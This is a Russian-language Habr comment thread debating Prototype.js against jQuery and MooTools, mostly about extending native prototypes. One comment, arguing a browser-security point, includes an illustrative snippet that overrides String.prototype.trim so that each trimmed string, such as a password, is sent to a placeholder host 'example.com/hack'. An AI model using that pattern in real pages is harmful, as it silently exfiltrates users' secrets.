How to become an author
Search
Write a publication
Pull to refresh

Comments 114

Ну, как я уже написал в начале статьи, моей целью было дать основы для начинающих. Более того, я так же сказал, что jQuery меня устраивает, но в текущем проекте приходится использовать prototype.

Но, в принципе, можно написать и про классы и интерфейсы, если общественность будет просить.
This comment wasn’t rated yet0
Имхо, jQuery проще для понимания, а prototype более функционален. Многие сначала учатся писать с jQuery, а потом при переходе на prototype возникает непонимание и непривычность. В-основном сказывается разница в документации — в jQuery она разбита по разделам (селекторы, аякс, анимация), а в prototype — по классам и функциям, из-за чего в prototype найти что-либо конкретное довольно сложно. Я когда с prototype столкнулся, надо было написать простенькую анимацию — появление и исчезновение всплывающей подсказки. В jQuery я мог бы это написать минут за 5 (с учетом проверки координат подсказки), с prototype же я провозился полчаса, в-основном рыская по документации. Так что сравнивая простой jQuery и функциональный prototype, я отдаю дань простоте :-)
Total votes 6: ↑5 and ↓1+4
С точки зрения функциональности и возможностей мне более нравится mootools. Для обычных сайтов jQuery вполне достаточно.
Total votes 4: ↑4 and ↓0+4
Плюсую. Mootools очень хорош для больших проектов на JS, с использованием ООП, большой плюс что его можно использовать и на сервер-сайде, например в node.js или APE. jQuery в этом плане не конкурент mootools, хотя для своих задач библиотека тоже крайне хороша.
This comment wasn’t rated yet0
Это очень субьективно. Я начинал работать именно с prototype+scriptaculo и когда возникла необходимость работать с JQuery я долго чертыхался от ее документации и некоторое время не мог привыкнуть к синтаксису.
Total votes 4: ↑4 and ↓0+4
Да это вообще справедливо для любого фреймворка. Например, работал в одном проекте с Zend, затем решил попробовать другие фреймворки. Не смог привыкнуть ни к одному, до сих пор пишу на Zend.

Аналогично и с jQuery и т.п. Долго работая с одним — привыкаешь и уже не можешь переключиться.
Total votes 2: ↑2 and ↓0+2
Долго работал с jQuery, очень легко научился работать с MooTools. После этого уже всё-равно, какой фреймворк использовать.
This comment wasn’t rated yet0
>Многие сначала учатся писать с jQuery, а потом при переходе на prototype возникает непонимание и непривычность.

jQuery представляет собой слишком высокую абстракцию над нативным javascript'ом, работающим с DOM. Фактически можно использовать jQuery, не зная javascript.
Total votes 2: ↑2 and ↓0+2
Ну да. Это все равно, что сравнивать C# и чистый C. Первое проще, второе богаче.
Total votes 1: ↑1 and ↓0+1
советую разобраться еще с script.aculo.us — эта либа писалась именно для prototype.js… ощутимо расширяет функциональность prototype.js
Total votes 4: ↑4 and ↓0+4
Есть еще scripty2 — по-сути script.aculo.us 2.0. Правда Томас подзабил на него в последнее время. Как собственно и Сэм Стефенсон на сам прототайп.
This comment wasn’t rated yet0
Не останавливайтесь, продолжайте разворачивать эту тему. Многим начинающим разработчикам этот материал будет интересен.
Total votes 1: ↑1 and ↓0+1
Кстати, на эту тему мне очень понравилась книга «AJAX библиотеки Prototype и Scriptaculous в действии». Объекты, классы, функции в примерах.
Total votes 1: ↑1 and ↓0+1
Спасибо, посмотрю. Правда думаю новая статья от меня будет минимум через месяц
This comment wasn’t rated yet0
А вот этот getElementsByClassName(), его прототайп реализует, если его браузер не поддерживает? Или вы просто стандартный JS-овый упомянули? А то ведь его даже в ИЕ8 нет (в 9 не проверял).

И чем getElementsByClassName() отличается скажем от $$()?
This comment wasn’t rated yet0
getElementsByClassName — его реализует Prototype

По сути, отличия в том, что $$() более функциональна. То есть вместо getElementsByClassName можно использовать $$(), а наоборот — нет
This comment wasn’t rated yet0
Правда там еще в синтаксисе небольшое отличие. В getElementsByClassName() вторым параметром можно указать родителя для искомых. В $$() мы будем это указывать просто исходя из каскада вложенности, как в css
This comment wasn’t rated yet0
имхо для работы с DOM лучше jQuery, а протопайп хорош только классами, интерфейсами и другими плюшками( типа $w, try.these и десятком других)
Но как-то загнил он, загнил.
Total votes 3: ↑2 and ↓1+1
несколько CSS фильтров, которые поступают на вход в виде выражения подобного регулярному выражению


Мне порвало мозг. Как можно обычные банальные css-селекторы назвать вот так вот?
Total votes 3: ↑2 and ↓1+1
Это википедия так назвала.
Total votes 1: ↑0 and ↓1-1
"$F(). Для кода выше, мы могли получить значения элементов формы следующим.."
Не совсем понятно, что делает данная функция. Она ищет элемент form или элементы формы (input, select, textarea и др.)? Из примера не ясно, чем она отличается от $().
This comment wasn’t rated yet0
Это алиас для Form.Element.getValue.

Типа
$('form-element').getValue() == $F('form-element');
Total votes 2: ↑2 and ↓0+2
Она сразу возвращает значение атрибута value или checked в зависимости от типа элемента
This comment wasn’t rated yet0
На самом деле статья не описывает ничего нового, всё это есть на сайте фреймворка, причём в ну уж очень наглядной форме.
Total votes 3: ↑3 and ↓0+3
А я и не говорил, что будет что-то новое. Просто, как уже сказали выше, документация на официальном сайте не очень удобна, а почитать «информацию для начинающих» очень удобно в одной статье, тем более, что у многих английским проблемы.
Total votes 2: ↑2 and ↓0+2
Единственное, пожалуй, что сделано через жопу в прототайпе — так это обсервинг onchange событий. Всё остальное просто прекрасно в версии 1.7 стало. До неё не хватало сильно live обсерверов разве что родных, да и те реализовывались пятью строчками кода.

Собственно, этот фреймворк по всем параметрам, кроме размера, делает всех. )
This comment wasn’t rated yet0
в прототайпе интересна сугубо объектная модель как в руби…
а так, против jquery нужно в редких случаях
This comment wasn’t rated yet0
Prototype.js — мой первый JavaScript фреймворк. В нем много интересных моментов, которые повлияли на на другие библиотеки и на JavaScript вцелом. Он все ещё используется в RoR и я ничего не имею против него, но:
November 22nd, 2010
Last week, we tagged the first stable release of 1.7
помоему, пациент скорее мертв… врятли это из-за того, что он идеален и завершен на 100%
Ну и script.aculo.us с ним же 1.9.0 as of December 23, 2010…
Total votes 2: ↑1 and ↓10
UFO just landed and posted this here
Что интересно, до сих пор коммиты есть, причём недавние, а полгода назад новая версия о_О
This comment wasn’t rated yet0
UFO just landed and posted this here
Я работал с prototype.js и затем пересел на jQuery (ага, и попутно на него пересадил еще много девелоперов), поверьте мне есть с чем сравнить.

Так вот, prototype — умер, в его основе лежит не очень хорошая идея допиливания прототипов — НЕ СЛЕДУЕТ ЭТОГО ДЕЛАТЬ. Фреймворк все еще жив за счет RoR'а и других старых проектов, но походу на этом всё…

Мне конечно нравятся некоторые его фишечки, что-то сделано даже лучше чем у других, но на этом следует закончить
Total votes 9: ↑8 and ↓1+7
Ну, я не сильно знаком с реалиями его использования сам его тоже никогда не использовал. Как я уже отметил, просто пришлось заняться проектом, который написан с его использованием. Поэтому пришлось изучать.

Да и в любом случае, кто знает что будет с проектом prototype дальше?
This comment wasn’t rated yet0
Спросите @thomasfuchs сами. Если учесть, что Томас сейчас работает над Zepto.js — jQuery подобная библиотека на WebKit-браузеров, то врятли Prototype.js получит версию 1.8
This comment wasn’t rated yet0
А особенно, если учесть, что не Томас разработчик prototype
Total votes 1: ↑1 and ↓0+1
Почему не следует расширять прототипы?
Total votes 3: ↑2 and ↓1+1
Согласен. Это удобно и изящно. Хочу аргументов.
Total votes 2: ↑2 and ↓0+2
Дословная цитата о Гитхаб
гитхаб писали не слишком одарённые интеллектом люди

Дословная цитата о Mozilla Docs:
вики движок для документации писали не слишком одарённые интеллектом люди

Идея статьи:
prototype писали не слишком одарённые интеллектом люди

Прям д'Артаньян писал. Ему и в Mozilla дураки сидят и авторы Гитхаб дураки.
Total votes 1: ↑1 and ↓0+1
то есть по существу возразить нечего?
Total votes 2: ↑0 and ↓2-2
если я расширю, ты расширишь, прототайп расширит… то программа станет подвержена эффекту квантовой неопределенности( только не скорость\положение, а работа\дебаг )
Если же через полгода-год браузер получит поддержку неких новых функций — могут появиться невозможные ошибки первого рода(это когда вы дописываете то что уже есть, но в другой нотации).
В принципе сейчас в хроме не работают практические любые сайты написанные на муутулс двух летней давности(function.bind)
Протопайт тоже очень часто файтиться с браузерами и сторонними АПИ. Причом если в мутулс ошибка более менее явная, там бывает просто ФАНТАСТИКА.
(использовал протопайт с 2006 по 2009 годы)
А по ненавистный мне hasOwnProperty я лучше промолчу
Total votes 6: ↑3 and ↓30
В принципе сейчас в хроме не работают практические любые сайты написанные на муутулс двух летней давности(function.bind)

Сказка какая-то. Если использовался Мутулз двухлетней давности, то использовался старый вид bind() (с двумя аргументами, а не бесконечным количеством), а там где используется новый — используется новый. Проблема может быть только если одновременно решите использовать какую-то старую либу и новую.
Function.prototype.bind = function () { alert(1) };
(function(){}).bind(); // 1


На практике, если продукт уже не поддерживается, то оно будет работать, так как используются методы из фреймворка, если поддерживается, то он эволюционирует вместе с кодом. Я вот не могу представить какой-нибудь код сейчас поддерживать на jQuery 1.0, хотя несовместимости со старыми версиями там внесли огого.
Total votes 1: ↑1 and ↓0+1
Проблема со старым мутулзом под новым хромом( только хромом, только новым )
Если FF позволяет переписывать некие нативные функции, то хром на попытку доступа в .name или методы которые он сам называет «native code»(в общем билдин) начинает шаманить по полной.
В общем последние полгода 90% обращений в саппорт с темой «у меня в хроме не работает» закачивается просто — обновите мутулс.
Total votes 2: ↑0 and ↓2-2
Нет, это не так, все работает (chrome 12 — bind переписывается jsfiddle.net/chchM/, сайты на mootools 1.2 работают). Нельзя было менять в chrome 3 вроде, его давно уже нет.
This comment wasn’t rated yet0
ты немного не то тестируешь :)
В общем багу они закрыли в августе 2010 года, и в 1.3
Представь еще раз — есть у тебя фунция .bind и вдруг оказывается что какой-то мутулс определяет ее иначе чем ты только что прочитал в справочнике.
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Бабах!
ПС: и вроде я тебя немного обманул — смерть несет версия 1.12, кто не обновлял(пару лет) свою жумлу — тот попал
Total votes 2: ↑0 and ↓2-2
все то, при чем тут весь js, изменяется только на странице, никаких ошибок нет, все нормально.

bind вначале появился в prototype и mootools, потом вошел в стандарт, в mootools 1.3 реализовано в соответствии с новый стандартом.
Total votes 1: ↑1 and ↓0+1
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )
Бабах!

Простите, но это маловероятно из соображений безопасности. Представьте, где-то используется какой-угодно метод для работы с секретными данными пользователя. Представим, что это gmail-checker, который использует trim:
return user.gmail.password.trim();


Если бы JS из сайта имел доступ к прототипам, которые использует браузер, то можно было бы легко украсть данные. Достаточно написать на своей странице такой код:
var orig = String.prototype.trim;
String.prototype.trim = function () {
  (new Img).src = 'http://example.com/hack?' + this;
  return orig.call(this);
}


Не знаю точно как Хроме, но в UserJS используется приблизительно такой подход — есть window плагина и unsafeWindow, который присутствует на пользовательском сайте.

И, главное,
( new window.Array() ) instanceof unsafeWindow.Array; // false
( new unsafeWindow.Array() ) instanceof window.Array; // false


То есть объекты по сути идентичны, а на практике — разные. Собственно, пользователь может делать что хочет с прототипами своего Array, а на все сторонние сайты и плагины это не повлияет. Единственное, что можно внести неожиданное поведение в такие скрипты, как Google Analytics, но тут уж разработчик ССЗБ.

ПС: и вроде я тебя немного обманул — смерть несет версия 1.12, кто не обновлял(пару лет) свою жумлу — тот попал

jQuery версии 1.1 будет некорректно работать с Internet Explorer 9 и потому тот, кто давно не обновлял jQuery на своём сайте — тот попал. При этом они не расширяют прототипы встроенных объектов
Total votes 1: ↑1 and ↓0+1
насчет window и unsafeWindow — я вообще говорил как своими же скриптами сломать свой же сайт.
А на соседние сайты\табы\плагины вообще физически попасть нельзя.
>Если бы JS из сайта имел доступ к прототипам, которые использует браузер
Если залесть в исходники хрома — можно заметить что все встроенные функции типа array.each, тот же самый function.bind написанный на почти обычном js.
Лично мне было бы не удобно держать несколько стеков js и переключаться постоянно, посему, получается, стек один и эти функции можно переопределить. Ну или поломать.
Total votes 1: ↑0 and ↓1-1
Проблема именно хрома, вроде бы, заключается в том что хром сам по себе ее использует во внутрених скриптах( не забываем что весь js в хроме написан на js )

А это к чему?

Если залесть в исходники хрома — можно заметить что все встроенные функции типа array.each, тот же самый function.bind написанный на почти обычном js.
Лично мне было бы не удобно держать несколько стеков js и переключаться постоянно, посему, получается, стек один и эти функции можно переопределить. Ну или поломать.

Как? Только на своём сайте. А на своём сайте можно что угодно поламать, даже без доступа к прототипам.
This comment wasn’t rated yet0
А по ненавистный мне hasOwnProperty я лучше промолчу

С этим — согласен. Object.prototype лучше не расширять, т.к. это может понести другие проблемы. Но это исключение. И в том же Мутулзе именно Object.prototype не расширяется.
This comment wasn’t rated yet0
Инкапсуляция — не?

Ладно еще в рамках своего приложения, но это же фреймворк, подключение prototype к существующему проекту — это еще то «счастье», проверено на личном печальном опыте.
Total votes 1: ↑1 and ↓0+1
К удобному тоже быстро привыкаешь. $('elemId').value.trim() и подобные манипуляции есть в каждом проекте. Прототипы ведь для того и существуют чтоб разгрузить локальные обьекты. Инкапсуляция нужна на ином уровне.
This comment wasn’t rated yet0
Стиль ruby хорош в языке Ruby. Для JavaScript больше подходит стиль JavaScript ;)
Total votes 2: ↑2 and ↓0+2
Дело в том что это: $.trim($('#elemId').val()) Не JavaScript стиль, инкапсуляция — метод сокрытия кода, он применяется везде, в любом языке. JavaScript — прототипный язык и вдруг не стоит использовать прототипы… Почему?
Если что, я вкурсе что такое инкапсуляция, я вкурсе что такое процедурный метод, меня не интересуют парралельные принципы разработки. Меня интересуют аргументы почему расширение прототипов — плохо?
Total votes 1: ↑1 and ↓0+1
Расширение прототипов — естественный подход, для своих классов. Кстати, jQuery этим интенсивно пользуется.

Также он имеет право на жизнь в строго определенных условиях для системных классов. Но для библиотеки общего назначения это больно.

К слову, такая же проблема иногда возникала и в Ruby, когда библиотеко-писатели создавали функции, которые позднее в ruby 1.9 были иначе определены авторами языка.
Total votes 1: ↑1 and ↓0+1
Почему больнь? Уже 4 ответа и кроме слова «плохо» я ни одного аргумента не услышал.

String.prototype.trim = function(){}
String.prototype.clearTags = function(){}

Вот «библиотека общего назначения» в которой добавлены два метода: Что плохого?
This comment wasn’t rated yet0
Два возможных варианта развития событий:

1) Маловероятное — функция clearTags реализована в новом стандарте ECMAScript и делает нечто совсем другое;
2) Крайне вероятное — мы используем некий плагин или орган управления, и там тоже определен метод clearTags, и мы не знаем, где ошибка. Раскопки займут немало времени.
Total votes 1: ↑1 and ↓0+1
1. Очень маловероятно.
2. Подключаете свою библиотеку после моей и Ваш метод перекрывает мой, ошибка у вас.
This comment wasn’t rated yet0
Ошибка у пользователя. Ибо при любом порядке подключения библиотек ранее подключенная будет работать неверно.

Сравните с jQuery, — и для библиотеки, и для любого библиотечного кода, её использующего, необходимо и достаточно лишь определенности window.jQuery.
This comment wasn’t rated yet0
насчет первого пункта — уже были случаи. Например, если не ошибаюсь, bind в MooTools был реализован иначе, чем в стандарте языка ECMAScript, со всеми вытекающими.
This comment wasn’t rated yet0
В мутулс перед тем как добавить метод они проверяют есть ли нативный такой и если есть то возвращают его.
То что в прототайпе $ нельзя убрать это не значит что добавление методов через прототипы — плохое занятие.
Реально нет ни одной причины не использовать добавление методов через прототипы, хочется перебрать методы Вашего обьекта? hasOwnProperty Вас спасет.
This comment wasn’t rated yet0
Вы недопоняли корень проблемы.

Если в библиотеке вернут ранее определенный метод вместо своего, это не поможет, — ведь нет никакой гарантии, что метод с тем же именем делает то же самое. Как раз в случае с bind реализации MooTools и ECMAScript отличались.

hasOwnProperty о другом совсем.
This comment wasn’t rated yet0
То что другие сделали метод по своему, не значит что сам подход плох.
This comment wasn’t rated yet0
Пример из жизни ruby, пункт 1 частично описан здесь

к ненависти руби и тд и тп пост не имеет никакого отношения, заголовок для привлечения внимания, о чём автор в сноске и пишет
This comment wasn’t rated yet0
Инкапсуляция — не?

В чём инкапсуляция?

Да, можно все функции занести в какой-нибудь god-object, без какой-нибудь логики, просто устроить мусорку, как
$.proxy, $.trim, $.isArray, $(selector)


В итоге, в одном месте намешаны и функции для работы с DOM и функции для работы со строками и т.д. Куда естественнее расширять стандартные прототипы. Тем более, это идеология языка и для базового фреймворка это вполне естественно.

Между прочим, jQuery годиться только для работы с DOM (и, я скажу, он прекрасно справляется с этим!). Для остальных задач, например серверное программирование, Canvas он не имеет смысла. Вообще. В отличии от prototype/mootools
This comment wasn’t rated yet0
Вы описали главную страницу хелпа их сайта =)
Total votes 1: ↑1 and ↓0+1
Сейчас вот специально зашел в их хелп. Нет)
This comment wasn’t rated yet0
Начинал как раз с Prototype потом Scriptaculos (для красивостей). Но потом без проблем перешел на jQuery. В Prototype (по крайней мере в 1.6) очень туповата была работа с событиями, в jQuery они как то интуитивно понятней работают. Но согласен что в Prototype приятней работать с ООП.
Total votes 1: ↑1 and ↓0+1
Присоединяюсь к бережникам на jquery. В целом, библиотека очень приятная в своем интерфейсе по сравнению с jquery, но запомнилась еще и тем, что для красивостей требовалось множество плясок с бубном производительности (естественно, я и о script.aculo.us).

Да и частота обновлений самого фреймворка вместе с обширностью общества разработчиков на jquery не оставляет шансов.
This comment wasn’t rated yet0
А кто-нибудь Dojo в работе использовал? Как оно вам?
This comment wasn’t rated yet0
Судя по отзывам которые я слышал о ней — это одна из крутейших библиотек вообще. Хотя я не использовал ее сам, так что лишь слухи =)
This comment wasn’t rated yet0
У меня проект на протоайпе. Решили, что после редизайна будем все переводить на jquery.
This comment wasn’t rated yet0
Кстати, сюда же вопрос задам

var pars = {
 login : $F('reglogin'),
 pass1 : $F('pass1'),
 pass2 : $F('pass2')
};
		
var hash = $H(pars);

var myAjax = new Ajax.Request(
 base_url + 'ajax/reg.php', 
 {
   method: 'get', 
   parameters: hash.toQueryString(),
   onLoaded: function() { alert('Loaded!'); }, 
   onComplete: function() { alert('Complete!'); },
   onSuccess: function(){ alert("Success"); },
   onFailure: function(){ alert('Fail!'); }
});


Данные в /ajax/reg.php поступают и успешно обрабатываются. Вот только этот код выводит только «Loaded!». Почему не выполняется ни Fail, ни Success для меня загадка.

Прошу не минусовать, как уже сказал — сам только изучаю фреймворк.
This comment wasn’t rated yet0
Ваш кусок кода прекрасно сработал и выдал 3 алерта =)
Я зашел на страницу прототайпа и просто выполнил в консоли ваш код:
var myAjax = new Ajax.Request(
 'http://prototypejs.org/', 
 {
   method: 'get', 
   onLoaded: function() { alert('Loaded!'); }, 
   onComplete: function() { alert('Complete!'); },
   onSuccess: function(){ alert("Success"); },
   onFailure: function(){ alert('Fail!'); }
});
This comment wasn’t rated yet0
Аналогично, работает.
Но вот на локальном сервере — в упор отказывается.

ЧЯДНТ?
This comment wasn’t rated yet0
Не помню, кто из гуру JavaScript сказал:
— Prototype написан разработчиками, не понимающими JavaScript, для программистов, не понимающих JavaScript.
Total votes 6: ↑3 and ↓30
Глупость какая-то. Прототайп вообще мало JS меняет в отличии от того же jQuery.
Total votes 3: ↑3 and ↓0+3
Диванный теоретик? Идеалогия прототайпа — расширять СИСТЕМНЫЕ объекты и патчить, причем для каждого браузера свой костыли, для сглаживания отличий и расширять своими методами. Ох как мы натрахались с объектами, когда в них всплывали прототайповские методы. За ковыряние в Object нужно вообще руки отрывать.
Идея jQuery оборачивать DOM. В этом контексте jQuery ВООБЩЕ не меняет JavaScript.
Total votes 6: ↑5 and ↓1+4
hasOwnProperty, не?

Что плохого в том, чтобы «допилить» стандартные типы js? Б-г запрещает? ECMA запрещает?
Прототайп не столько фреймворк, сколько расширение языка.
Total votes 1: ↑0 and ↓1-1
Целый букет проблем с совместимостью и постоянными конфликтами со всем и вся, большой лаг после выпуска новых версий браузеров чтобы все это дело исправить. Идеология модульности и расширяемости, когда каждый плагин сидит в своей песочнице и не гадит в общественном месте.

Собственно, «не столько фреймворк, сколько расширение языка» это исчерпывающий ответ. Мне нужен удобный и понятный фреймворк, если я захочу функциональщины, то возьму какую нибудь underscore.js, которая будет тихо сидеть в "_".
Total votes 1: ↑1 and ↓0+1
Небольшая оговорка: я не пытаюсь разжечь холивор, ибо бессмысленно.

Пример можно? Ни разу за 4 года работы с прототайпом не сталкивался с таким.

–когда каждый плагин сидит в своей песочнице и не гадит в общественном месте.
Что такое плагин в понимании JavaScript?

–Идеология модульности и расширяемости
Чем добавление своего метода в prototype объекта не угодило?
И вы действительно считаете подход а-ля джейквери «неявно вернём контекст и применим к нему метод( $(context).myMethod(arg1, arg2) )» нормальным и myMethod.apply(context, [arg1, arg2]) ересью?

Насчёт «понятнее и логичнее». Простой пример:

jQuery.fn.repeat = repeat(num) {
return new Array( num + 1 ).join(this.selector);
}

String.prototype.repeat = function(num) {
return new Array( num + 1 ).join(this);
}

Что понятнее и логичнее?

"lol".repeat(3) //[Prototype style]
или
$('lol').repeat(3) //[jQuery style]
Total votes 3: ↑2 and ↓1+1
Пардон,
jQuery.fn.repeat = function(num) {
return new Array( num + 1 ).join(this.selector);
}
Total votes 1: ↑0 and ↓1-1
Последний прототайп который смотрел был 1.5 может сейчас уже поправили. Самая заметная проблема была в том, что прототайп ломал сериализацию объектов в json и разрабы никак не могли решить кто виноват. А при работе с jquery ой как напрягало.

Я имел ввиду плагин в понимании jQuery. При одиночном вызове разницы конечно нет, НО жкверевский подход выигрывает, цепочными вызовами в итоге код получается компактней и удобней для чтения. В любом случае — это спор из разряда big vs low endian. Как удобно, так используй. Лично мне спокойней, когда системные объекты нетронуты, внезапных коллизий не произойдет и в моих объектах не появится чужого кода.
Total votes 1: ↑1 and ↓0+1
–жкверевский подход выигрывает, цепочными вызовами

В данном примере «человекопонятный» чейн возможен только в случае расширения прототипа:

"lol".repeat(2).repeat(3).repeat(5);

А вот так будет у jQ

$($($('lol').repeat(2)).repeat(3)).repeat(5);

Думаю нет нужды объяснять, что пример для jQ провалит все тесты.
Total votes 3: ↑2 and ↓1+1
Странный юскейс. Что мешает написать repeat(2*3*5)? Я вот так даже сходу не могу вспомнить реальный случай применения подобной вложенности. Чаще встречается такое: $(Объект).метод(анонимнаяФункция(){пошла вложенность}).ещеМетод({вложенные:{(атрибуты)}})

Распространенный юскейс: селектнуть инпут, установить атрибуты, навесить стили, события, применить плагины. Скобок много, согласен, но не настолько.
Total votes 1: ↑1 and ↓0+1
возможно, пример утрированный.

Метод «repeat» возвращает строку, а не объект jQuery.

Теперь про наглядность:

$('header').repeat(2) //-> headerheader
Здесь контекст становится понятен, только тогда, когда был вызван метод repeat

А если вот так ?:
$('header').animate({'background-color': '#F00'})

Я понимаю, что есть гайды от Рейзига, но всё-таки.

Никто не говорит, что расширение прототипа есть панацея. Делать это нужно просто с умом.
Total votes 2: ↑1 and ↓10
Диванный теоретик?

Ну да, ну да. Я — вообще о JavaScript знаю только понаслышке.
Можно программировать на jQuery какие-то мелкие вещи и вообще не знать JavaScript, я гарантирую это.
Total votes 2: ↑1 and ↓10
круто, тем не менее высказывание всё равно остается неверным
This comment wasn’t rated yet0
Начинали писать на прототайпе но были жутчайшие баги с несовеместимостью с фф тогда еще третьей версии. Причем в трекерах прототайповцы и мозилчане (каждый в своем) отказывлся исправлять баг пеняя на другого.
После такого на сто метров не подойду к этому поделию. Постепенно все перевели на jQuery.
This comment wasn’t rated yet0
И что этим сказано?
Я Вам могу привести статистику по пхп в сравнении с другими скриптовыми языками, которые реально удобней и логичней, но на них работают меньше, почему? На это нет ответа, популярность есть популярность, и она не всегда связана с логичностью, удобностью и правильностью.
Total votes 1: ↑1 and ↓0+1
Популярность объясняется массой плагинов, требующих его установки. Если заказчик возжелал свистоперделку, то она скорее всего уже есть в библиотеке jquery и писать её самому средствами prototype.js нет никакого интереса.
Total votes 1: ↑1 and ↓0+1
Аргумент из разряда — миллионы мух не могут ошибаться.

(Еще можно сравнить в трендах PHP и, например, Haskell.)
This comment wasn’t rated yet0
За миллионы лет мухи научились выбирать именно ту среду, которая обеспечивает выживание вида. Поэтому аргумент годный.

Сравнить языки можно, только в какой области? Кто-то пишет хомяков на хаскеле или опердени на пэхапе? Напротив, ниша у прототайпа и жквери одна: веб фреймворки для ажакса и манипулирования домом.
Total votes 1: ↑0 and ↓1-1
По-существу есть что ответить?
Total votes 1: ↑0 and ↓1-1
Судить о сущностном превосходстве чего-то над чем-то по кол-ву вхождений в поисковый индекс — глупо и недальновидно. Достаточно сравнить node.js / erlang выдачу ( 48M против 22M ). Все очевидные преимущества эрланга над нодой и родовые травмы самой ноды при этом как бы забываются, ведь хайп больше!

> Кто-то пишет хомяков на хаскеле

Да.
This comment wasn’t rated yet0
Ещё раз: сравнивается количество «установок» фреймворков из одной области, с одинаковым функционалом (ajax и DOM манипуляция), немного отличающейся реализацией и сильно — формой использования.

Поисковый индекс показывает как часто ищут, может эрланг такой простой и понятный, что его мало ищут, а используется он в десять раз чаще ноды. Согласен, хайп создает накрутку, но не многолетние тренды. Поэтому нужна статистика использования, которую я не нашел беглым гуглингом. А цифры из поиска не говорят о качестве продукта.
This comment wasn’t rated yet0
Функционал у них не одинаковый, если что. Prototype умеет больше.

> Поисковый индекс показывает как часто ищут

Поисковый индекс показывает как что ПИШУТ.

> А цифры из поиска не говорят о качестве продукта.

Ну наконец-то.
This comment wasn’t rated yet0
> Ну наконец-то.
полемическая уловка номер 6, опровержение утверждения, не принадлежащего оппоненту.

> Prototype умеет больше.
Можно парочку примеров. Может так оказаться что эти фичи нужны только в рамках прототайповского подхода, либо имеются аналоги.
This comment wasn’t rated yet0
Вот вам тогда пример Хабр один, но есть еще куча ГС на похожу тему, теперь по вашей логике:

ГС 99%
Хабр 1%

«этим всё сказано»?
This comment wasn’t rated yet0
Чото подумал, глупость сказал :) А вообще, jquery после prototype действительно проще выглядит и удобнее с ним работать с dom. Но вот если делать, что-то сложное (типа веб-приложения или игры), то думаю prototype будет удобнее.
This comment wasn’t rated yet0
Для меня прототайп исчерпал кредит доверия, я уже выше писал. Для чего-то сложного я бы попробовал backbone или knockout, ну или на крайняк на jqueryUI всё сделал.
This comment wasn’t rated yet0
Дружище, назови хоть один «ГС», с такой же посещаемостью в рунете как Хабр. Брать какие-то цифры из головы и на основании их делать выводы по меньшей мере странно.
This comment wasn’t rated yet0
Sign up to leave a comment.

Articles

Show the best of all time

Your account

Sections

Information

Services

Support
© 2006–2024, Habr